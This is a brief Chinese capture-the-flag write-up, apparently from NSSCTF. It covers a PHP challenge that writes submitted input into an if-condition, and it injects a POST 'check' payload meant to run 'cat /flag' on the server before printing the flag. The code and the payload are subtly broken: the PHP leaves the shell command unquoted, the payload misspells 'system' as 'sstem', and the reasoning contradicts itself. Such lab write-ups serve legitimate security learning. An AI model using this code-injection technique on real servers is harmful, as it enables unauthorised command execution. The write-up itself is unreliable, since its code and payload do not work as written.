题干
访问首页,源码如下
<?php $a=false; $b=false;
if(你提交的部分将会被写至这里)
{$a=true;}
else
{$b=true;}
if($a===true&&$b===true)
eval(system(cat /flag));
?>
分析源码发现,通过post方式传递check参数,如果该值既满足true
又满足false
条件,则输出cat /flag
,但无此类参数,故不考虑该方式获得flag,考虑构造命令执行
命令构造
check=sstem(cat /flag)
通过post传递该参数后,再访问check.php即可获得flag
NSSCTF{6d9099ba-7ed5-4e3e-922c-4dedcbd7f711}